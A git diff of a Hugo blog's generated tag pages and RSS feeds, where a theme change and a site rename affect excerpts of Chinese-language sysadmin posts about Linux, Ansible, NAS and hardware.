    -
    - - - 2019-05-17 - - - - - - - - linux - - - - - - Eric Chang - -
    -

    工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。

    - -

    以前都是傻傻的用 scp 傳檔案

    - -

    之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行

    - -

    早上研究了一下,順便做個筆記。

    +
  • + + + github + +
  • + -

    - - - -
    - +
  • + + + pinterest + +
  • - -
    +
    -
    - -
    - - - - -
    +
    +
    + + + +
    +
    +

    + Tag: linux + + + + rss + + +

    +
    - -
    - -
    - - - - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 31 July 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近有個任務,需要大量安裝client

    -
    - - +

    想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot

    +

    然後選擇OS版本,就可以自動進行安裝

    -
    -

    [筆記] 用rsync 移轉 centos 6.2的老機器 Transfer Cent6.2 using rsync

    -
    - - - 2019-03-27 - - +

    安裝完成後,會自動重新開機,接著就用ansible來做user環境設定

    - +

    PXE的部份本來是沒有什麼問題,自動安裝系統的部份都做好了

    - - - - 筆記 - - - +

    可是因為這次的量比較多,想說讓每一台在完成PXE安裝後的第一次重開機

    - - Eric Chang - -
    +

    就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了

    - -

    公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。

    +

    看似很簡單的一件事情,卻搞了我兩天….

    -

    看起來不難搞,事實上….. -

    + +
    +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 20 June 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

    - - - - -
    +

    但是如果要過 internet ,就會碰到各種開port的問題

    - - + + +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 17 May 2019 / + + + + + + + + + + + + / + + linux + + +
    + +
    +
    +

    工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。

    -
    +

    以前都是傻傻的用 scp 傳檔案

    - -
    - -
    - - - - +

    之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行

    - +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 23 April 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

    -
    -

    [筆記] Ansible how to use 'list' in yaml file

    -
    - - - 2018-11-27 - - +

    然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

    - +

    所以最近不斷的在更換機器內的硬碟,而且還沒有熱插拔!

    - - - - 筆記 - - - +

    也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了

    - - Eric Chang - -
    +

    然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

    - -

    這幾天在玩ansible 時,碰到一個問題

    + +
    +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 27 March 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。

    + +

    看起來不難搞,事實上…..

    + + +
    +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 27 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    這幾天在玩ansible 時,碰到一個問題

    假如我有個yaml檔作為資料來源,檔名是 abc.yml

    @@ -592,343 +634,198 @@ -

    - - - - - -
    - - - +
    +
    + + + +
    + + + + + + + + +
    +
    + 06 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近在重新規劃前人留下的backup爛攤子 +各個伺服器統一備份到一台backup storage +想說如果每天能夠看到backup storage的磁碟用量的話 +就可以抓出備份空間成長速度、推估需要多大的磁碟空間 +找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 +基本上可以滿足我的需求

    + +
    +
    +
    +
    + +
    - -
    - - -
    - +
    + + + + + + - - + diff --git a/public/tags/linux/index.xml b/public/tags/linux/index.xml index 9b975c24..265a4628 100644 --- a/public/tags/linux/index.xml +++ b/public/tags/linux/index.xml @@ -1,10 +1,11 @@ - Linux on MCの飄狂山莊㊣ + linux on MC部落 https://h.cowbay.org/tags/linux/ - Recent content in Linux on MCの飄狂山莊㊣ + Recent content in linux on MC部落 Hugo -- gohugo.io + en-us Wed, 31 Jul 2019 11:06:33 +0800 @@ -30,9 +31,7 @@ <p>就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了</p> -<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> - -<p></p> +<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> @@ -49,9 +48,7 @@ <p>解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多</p> -<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> - -<p></p> +<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> @@ -66,9 +63,7 @@ <p>之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行</p> -<p>早上研究了一下,順便做個筆記。</p> - -<p></p> +<p>早上研究了一下,順便做個筆記。</p> @@ -85,9 +80,7 @@ <p>也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了</p> -<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> - -<p></p> +<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> @@ -98,8 +91,7 @@ https://h.cowbay.org/post/transfer-cent62-using-rsync/ <p>公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。</p> -<p>看起來不難搞,事實上&hellip;.. -</p> +<p>看起來不難搞,事實上&hellip;..</p> @@ -151,9 +143,7 @@ } ] -</code></pre> - -<p></p> +</code></pre> diff --git a/themes/public/tags/linux/page/1/index.html b/public/tags/linux/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/linux/page/1/index.html rename to public/tags/linux/page/1/index.xml/index.html diff --git a/public/tags/linux/page/2/index.html b/public/tags/linux/page/2/index.html new file mode 100644 index 00000000..a5a0832b --- /dev/null +++ b/public/tags/linux/page/2/index.html @@ -0,0 +1,389 @@ + + + + Parsa | Personal Blog Template + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    + + + +
    +
    +
    + + + + +
    +
    +
    +
    +

    linux

    +
    +
    +
    +
    + + + +
    +
    +
    +
    +
    + + +
    +
    + post-thumb +

    [筆記]

    +

    Nice Du Report Tool Durep

    +

    最近在重新規劃前人留下的backup爛攤子 +各個伺服器統一備份到一台backup storage +想說如果每天能夠看到backup storage的磁碟用量的話 +就可以抓出備份空間成長速度、推估需要多大的磁碟空間 +找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 +基本上可以滿足我的需求

    + read more +
    +
    + +
    +
    + +
    + + + + + + + + + + + + + +
    + +
    +
    + +
    + +
    +
    LATEST POST
    + + + +
    +
    + +
    +
    +
      +
    • Post By Themefisher
    • +
    • Jan 01, 0001
    • +
    +
    Posts
    +
    +
    + + + +
    + +
    +
    CATEGORIES
    + +
    +
    +
    +
    +
    + + +
    +
    +
    +
    +
    + Parsa | Personal Blog Template +
    +
    +
    Address
    +
      + +
    • Sydney
    • + +
    • 6 rip carl Avenue CA 90733
    • + +
    +
    +
    +
    Contact Info
    +
      + +
    • Tel: +90 000 333 22
    • + +
    • Mail: exmaple@ymail.com
    • + +
    +
    +
    +
    Follow
    +
      + +
    • + +
    • + +
    • + +
    • + +
    +
    +
    +
    +
    +
    +

    Copyright © a theme by themefisher.com

    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/tags/log/index.html b/public/tags/log/index.html index f1401bbe..e3d9387a 100644 --- a/public/tags/log/index.html +++ b/public/tags/log/index.html @@ -1,401 +1,475 @@ - - - - - - - - - - - Log | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + log + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: log + + + + rss + + +

    - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 23 April 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

    - -
    - +

    居然不知為何自己產生了,在我記憶中沒有去執行過那個指令

    + +

    翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)

    + +

    所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份

    + + + +
    +
    +
    + +
    +
    + + + + + + - - + diff --git a/public/tags/log/index.xml b/public/tags/log/index.xml index b351a51e..2cbb2dc7 100644 --- a/public/tags/log/index.xml +++ b/public/tags/log/index.xml @@ -1,10 +1,11 @@ - Log on MCの飄狂山莊㊣ + log on MC部落 https://h.cowbay.org/tags/log/ - Recent content in Log on MCの飄狂山莊㊣ + Recent content in log on MC部落 Hugo -- gohugo.io + en-us Tue, 23 Apr 2019 15:08:36 +0800 @@ -22,9 +23,7 @@ <p>翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)</p> -<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> - -<p></p> +<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p>
    diff --git a/public/tags/log/page/1/index.xml/index.html b/public/tags/log/page/1/index.xml/index.html new file mode 100644 index 00000000..73a9f1dd --- /dev/null +++ b/public/tags/log/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/log/ \ No newline at end of file diff --git a/public/tags/mdadm/index.html b/public/tags/mdadm/index.html index bf0c7ea1..c84c7e86 100644 --- a/public/tags/mdadm/index.html +++ b/public/tags/mdadm/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Mdadm | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + mdadm + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: mdadm + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 12 December 2018 / + + + + + + + + + + + + / + + 碎念 + + +
    + +
    +
    +

    最近在做一台老機器的P2V

    偏偏user說不能關機,所以我用dd + ssh 做線上移轉

    @@ -141,263 +331,147 @@

    這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/mdadm/index.xml b/public/tags/mdadm/index.xml index ff3bafeb..4dca4466 100644 --- a/public/tags/mdadm/index.xml +++ b/public/tags/mdadm/index.xml @@ -1,10 +1,11 @@ - Mdadm on MCの飄狂山莊㊣ + mdadm on MC部落 https://h.cowbay.org/tags/mdadm/ - Recent content in Mdadm on MCの飄狂山莊㊣ + Recent content in mdadm on MC部落 Hugo -- gohugo.io + en-us Wed, 12 Dec 2018 11:10:22 +0800 @@ -24,9 +25,7 @@ <p>只是因為原來的設定有用mdadm 做raid1</p> -<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> - -<p></p> +<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> diff --git a/public/tags/mdadm/page/1/index.xml/index.html b/public/tags/mdadm/page/1/index.xml/index.html new file mode 100644 index 00000000..53ea8eac --- /dev/null +++ b/public/tags/mdadm/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/mdadm/ \ No newline at end of file diff --git a/public/tags/mellanox/index.html b/public/tags/mellanox/index.html index dca0c6b9..b9adaae6 100644 --- a/public/tags/mellanox/index.html +++ b/public/tags/mellanox/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Mellanox | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + mellanox + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: mellanox + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 30 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    想做一個 10G 的 LAB 環境出來已經很久了。

    只是礙於10G RJ45的卡太貴了,然後光纖的種類又太複雜

    @@ -149,267 +339,147 @@

    今天就花了點時間測試一下

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/mellanox/index.xml b/public/tags/mellanox/index.xml index 4f09c8fc..30c022b5 100644 --- a/public/tags/mellanox/index.xml +++ b/public/tags/mellanox/index.xml @@ -1,10 +1,11 @@ - Mellanox on MCの飄狂山莊㊣ + mellanox on MC部落 https://h.cowbay.org/tags/mellanox/ - Recent content in Mellanox on MCの飄狂山莊㊣ + Recent content in mellanox on MC部落 Hugo -- gohugo.io + en-us Fri, 30 Nov 2018 16:05:14 +0800 @@ -32,9 +33,7 @@ <p>就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到</p> -<p>今天就花了點時間測試一下</p> - -<p></p> +<p>今天就花了點時間測試一下</p> diff --git a/public/tags/mellanox/page/1/index.xml/index.html b/public/tags/mellanox/page/1/index.xml/index.html new file mode 100644 index 00000000..40ecc8d4 --- /dev/null +++ b/public/tags/mellanox/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/mellanox/ \ No newline at end of file diff --git a/public/tags/meshcentral/index.html b/public/tags/meshcentral/index.html index e32f3bcc..5c16efd8 100644 --- a/public/tags/meshcentral/index.html +++ b/public/tags/meshcentral/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Meshcentral | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + meshcentral + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: meshcentral + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 20 June 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

    但是如果要過 internet ,就會碰到各種開port的問題

    @@ -141,267 +331,147 @@

    只要下載teamviewer被控端,開啟後報ID 給協助者就好了

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/meshcentral/index.xml b/public/tags/meshcentral/index.xml index ab5c7bca..b12be0b0 100644 --- a/public/tags/meshcentral/index.xml +++ b/public/tags/meshcentral/index.xml @@ -1,10 +1,11 @@ - Meshcentral on MCの飄狂山莊㊣ + meshcentral on MC部落 https://h.cowbay.org/tags/meshcentral/ - Recent content in Meshcentral on MCの飄狂山莊㊣ + Recent content in meshcentral on MC部落 Hugo -- gohugo.io + en-us Thu, 20 Jun 2019 11:03:12 +0800 @@ -24,9 +25,7 @@ <p>解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多</p> -<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> - -<p></p> +<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> diff --git a/public/tags/meshcentral/page/1/index.xml/index.html b/public/tags/meshcentral/page/1/index.xml/index.html new file mode 100644 index 00000000..12ef23aa --- /dev/null +++ b/public/tags/meshcentral/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/meshcentral/ \ No newline at end of file diff --git a/public/tags/metabase/index.html b/public/tags/metabase/index.html index 952733de..c491c7a2 100644 --- a/public/tags/metabase/index.html +++ b/public/tags/metabase/index.html @@ -1,405 +1,475 @@ - - - - - - - - - - - Metabase | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + metabase + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: metabase + + + + rss + + +

    - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 15 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近在測試metabase,記得幾個月前就有測試過

    - -
    - +

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    + +

    所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

    + +

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    + + + +
    +
    +
    + +
    +
    + + + + + + - - + diff --git a/public/tags/metabase/index.xml b/public/tags/metabase/index.xml index e01b2e43..6aefaa2d 100644 --- a/public/tags/metabase/index.xml +++ b/public/tags/metabase/index.xml @@ -1,10 +1,11 @@ - Metabase on MCの飄狂山莊㊣ + metabase on MC部落 https://h.cowbay.org/tags/metabase/ - Recent content in Metabase on MCの飄狂山莊㊣ + Recent content in metabase on MC部落 Hugo -- gohugo.io + en-us Thu, 15 Nov 2018 11:06:28 +0800 @@ -22,9 +23,7 @@ <p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> +<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> diff --git a/themes/public/tags/metabase/page/1/index.html b/public/tags/metabase/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/metabase/page/1/index.html rename to public/tags/metabase/page/1/index.xml/index.html diff --git a/public/tags/nas/index.html b/public/tags/nas/index.html index a81cdfd1..2f409bd2 100644 --- a/public/tags/nas/index.html +++ b/public/tags/nas/index.html @@ -1,228 +1,387 @@ - - - - - - - - - - - Nas | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + NAS + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
  • + +
  • + -
    - +
  • + + + googleplus + +
  • -
    - - - - -
    - +
  • + +
  • + + +
  • + + + instagram + +
  • + -
    -

    [雜念] 群暉 Synology NAS DS 415+ 誇張的維修費用

    -
    - - - 2018-12-04 - - + +
  • + +
  • + - + +
  • + + + linkedin + +
  • + - - - - 群暉 - - - + +
  • + + + stackoverflow + +
  • + - - Eric Chang - -
    -

    前幾天公司的一台 Synology DS 415+ 發生異常

    +
  • + + + github + +
  • + -

    注意到的時候,四顆硬碟燈號都不斷的在閃爍

    -

    但是已經無法登入系統

    + +
  • + + + pinterest + +
  • + -

    重開機之後更慘,四顆硬碟燈號全部橘燈恆亮

    + +
  • + + + rss + +
  • + -

    底下的電源藍燈不斷的在閃爍

    -

    雖然我一再表示不希望送修了

    +
    -

    一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛…

    +
    -

    不過主管還是希望能夠先問群暉維修的費用多少

    +
    +
    + +
    + -

    + + - -
    - -
    - - - + + +
    + +
    +

    + Tag: NAS + + + + rss + + +

    - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 04 December 2018 / + + + + + + + + + + + + / + + 群暉 + + +
    + +
    +
    +

    前幾天公司的一台 Synology DS 415+ 發生異常

    - -
    - -
    - - - - +

    注意到的時候,四顆硬碟燈號都不斷的在閃爍

    -
    - - +

    但是已經無法登入系統

    +

    重開機之後更慘,四顆硬碟燈號全部橘燈恆亮

    -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - +

    底下的電源藍燈不斷的在閃爍

    - +

    雖然我一再表示不希望送修了

    - - - - 筆記 - - - +

    一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛…

    - - Eric Chang - -
    +

    不過主管還是希望能夠先問群暉維修的費用多少

    - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file +

    +
    +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 05 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file 之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 @@ -237,269 +396,147 @@

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet 所以導致明明檔案就在那邊,但是要取得就是很麻煩

    -

    + +
    +
    +
    +
    + +
    - - - - -
    +
    +
    + +

    What’s the Worst That Could Happen?

    + - - - -
    - - - -
    - +
    - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/nas/index.xml b/public/tags/nas/index.xml index a0b99c2b..afd57285 100644 --- a/public/tags/nas/index.xml +++ b/public/tags/nas/index.xml @@ -1,10 +1,11 @@ - Nas on MCの飄狂山莊㊣ + NAS on MC部落 https://h.cowbay.org/tags/nas/ - Recent content in Nas on MCの飄狂山莊㊣ + Recent content in NAS on MC部落 Hugo -- gohugo.io + en-us Tue, 04 Dec 2018 10:25:19 +0800 @@ -30,9 +31,7 @@ <p>一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛&hellip;</p> -<p>不過主管還是希望能夠先問群暉維修的費用多少</p> - -<p></p> +<p>不過主管還是希望能夠先問群暉維修的費用多少</p> @@ -54,9 +53,7 @@ <p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> <p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> +所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> diff --git a/themes/public/tags/nas/page/1/index.html b/public/tags/nas/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/nas/page/1/index.html rename to public/tags/nas/page/1/index.xml/index.html diff --git a/public/tags/nvidia/index.html b/public/tags/nvidia/index.html index 1af8c685..28ebd7a7 100644 --- a/public/tags/nvidia/index.html +++ b/public/tags/nvidia/index.html @@ -1,401 +1,475 @@ - - - - - - - - - - - Nvidia | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + nvidia + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: nvidia + + + + rss + + +

    - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 20 August 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    因為老闆說要試試看用GPU 來跑postgresql 威力

    - -
    - +

    手邊剛好有一張 geforce gt 720

    + +

    一開始沒想太多,看到有這張卡的驅動程式,然後CUDA也有支援

    + +

    就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了…

    + + + +
    +
    +
    + +
    +
    + + + + + + - - + diff --git a/public/tags/nvidia/index.xml b/public/tags/nvidia/index.xml index 24102075..0eddff0f 100644 --- a/public/tags/nvidia/index.xml +++ b/public/tags/nvidia/index.xml @@ -1,10 +1,11 @@ - Nvidia on MCの飄狂山莊㊣ + nvidia on MC部落 https://h.cowbay.org/tags/nvidia/ - Recent content in Nvidia on MCの飄狂山莊㊣ + Recent content in nvidia on MC部落 Hugo -- gohugo.io + en-us Tue, 20 Aug 2019 14:51:54 +0800 @@ -22,9 +23,7 @@ <p>一開始沒想太多,看到有這張卡的驅動程式,然後CUDA也有支援</p> -<p>就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了&hellip;</p> - -<p></p> +<p>就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了&hellip;</p> diff --git a/public/tags/nvidia/page/1/index.xml/index.html b/public/tags/nvidia/page/1/index.xml/index.html new file mode 100644 index 00000000..19b12f01 --- /dev/null +++ b/public/tags/nvidia/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/nvidia/ \ No newline at end of file diff --git a/public/tags/nvme/index.html b/public/tags/nvme/index.html index 97736091..4d002da2 100644 --- a/public/tags/nvme/index.html +++ b/public/tags/nvme/index.html @@ -1,399 +1,471 @@ - - - - - - - - - - - Nvme | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + nvme + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    + - +
    + -
    - + + +
    + +
    +

    + Tag: nvme + + + + rss + + +

    +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 10 September 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    前幾天在淘寶上買了個 SSK 的USB 3.1 Gen2 (type-c) NVME SSD 外接盒 +手邊也剛好有一條多的intel 600p nvme ssd 就順手來做個比較 +目標是看看有沒有可能直接用外接的SSD來跑postgresql

    + + +
    +
    +
    +
    + +
    + +
    + +
    +

    + + MC部落 + +

    + +

    What’s the Worst That Could Happen?

    + + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - - + diff --git a/public/tags/nvme/index.xml b/public/tags/nvme/index.xml index f6ad78b1..b8586387 100644 --- a/public/tags/nvme/index.xml +++ b/public/tags/nvme/index.xml @@ -1,10 +1,11 @@ - Nvme on MCの飄狂山莊㊣ + nvme on MC部落 https://h.cowbay.org/tags/nvme/ - Recent content in Nvme on MCの飄狂山莊㊣ + Recent content in nvme on MC部落 Hugo -- gohugo.io + en-us Tue, 10 Sep 2019 14:37:09 +0800 diff --git a/public/tags/nvme/page/1/index.xml/index.html b/public/tags/nvme/page/1/index.xml/index.html new file mode 100644 index 00000000..f4bad69a --- /dev/null +++ b/public/tags/nvme/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/nvme/ \ No newline at end of file diff --git a/themes/public/tags/page/1/index.html b/public/tags/page/1/index.html similarity index 100% rename from themes/public/tags/page/1/index.html rename to public/tags/page/1/index.html diff --git a/public/tags/page/1/index.xml/index.html b/public/tags/page/1/index.xml/index.html new file mode 100644 index 00000000..59689851 --- /dev/null +++ b/public/tags/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/ \ No newline at end of file diff --git a/public/tags/page/2/index.html b/public/tags/page/2/index.html new file mode 100644 index 00000000..e842c9c0 --- /dev/null +++ b/public/tags/page/2/index.html @@ -0,0 +1,122 @@ + + + + + + + + Tags | MCの飄狂山莊㊣ + + + + + + + + + + + + +
    + + +
    +
    + +
    +
    +

    Tags

    + +
    +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    +
    + + + +
    +
    + +
    + + \ No newline at end of file diff --git a/public/tags/page/2/index.xml b/public/tags/page/2/index.xml new file mode 100644 index 00000000..fe8b0df3 --- /dev/null +++ b/public/tags/page/2/index.xml @@ -0,0 +1,83 @@ + + + Tags - MCの飄狂山莊㊣ + https://h.cowbay.org/tags/ + Recent content in Tags on MCの飄狂山莊㊣ + Hugo -- gohugo.io + Fri, 04 Oct 2019 14:12:15 +0800 + + + + + vpn + https://h.cowbay.org/tags/vpn/ + Fri, 16 Aug 2019 10:18:06 +0800 + + https://h.cowbay.org/tags/vpn/ + + + wireguard + https://h.cowbay.org/tags/wireguard/ + Fri, 16 Aug 2019 10:18:06 +0800 + + https://h.cowbay.org/tags/wireguard/ + + + ubuntu + https://h.cowbay.org/tags/ubuntu/ + Tue, 13 Aug 2019 15:50:31 +0800 + + https://h.cowbay.org/tags/ubuntu/ + + + edgerouter + https://h.cowbay.org/tags/edgerouter/ + Tue, 06 Aug 2019 17:14:17 +0800 + + https://h.cowbay.org/tags/edgerouter/ + + + ansible + https://h.cowbay.org/tags/ansible/ + Mon, 05 Aug 2019 16:24:40 +0800 + + https://h.cowbay.org/tags/ansible/ + + + linux + https://h.cowbay.org/tags/linux/ + Wed, 31 Jul 2019 11:06:33 +0800 + + https://h.cowbay.org/tags/linux/ + + + PXE + https://h.cowbay.org/tags/pxe/ + Wed, 31 Jul 2019 11:06:33 +0800 + + https://h.cowbay.org/tags/pxe/ + + + meshcentral + https://h.cowbay.org/tags/meshcentral/ + Thu, 20 Jun 2019 11:03:12 +0800 + + https://h.cowbay.org/tags/meshcentral/ + + + remote + https://h.cowbay.org/tags/remote/ + Thu, 20 Jun 2019 11:03:12 +0800 + + https://h.cowbay.org/tags/remote/ + + + proxmox + https://h.cowbay.org/tags/proxmox/ + Mon, 17 Jun 2019 13:20:57 +0800 + + https://h.cowbay.org/tags/proxmox/ + + + + \ No newline at end of file diff --git a/public/tags/page/3/index.html b/public/tags/page/3/index.html new file mode 100644 index 00000000..42c131ce --- /dev/null +++ b/public/tags/page/3/index.html @@ -0,0 +1,123 @@ + + + + + + + + Tags | MCの飄狂山莊㊣ + + + + + + + + + + + + +
    + + +
    +
    + +
    +
    +

    Tags

    + +
    +
    + +
    + +
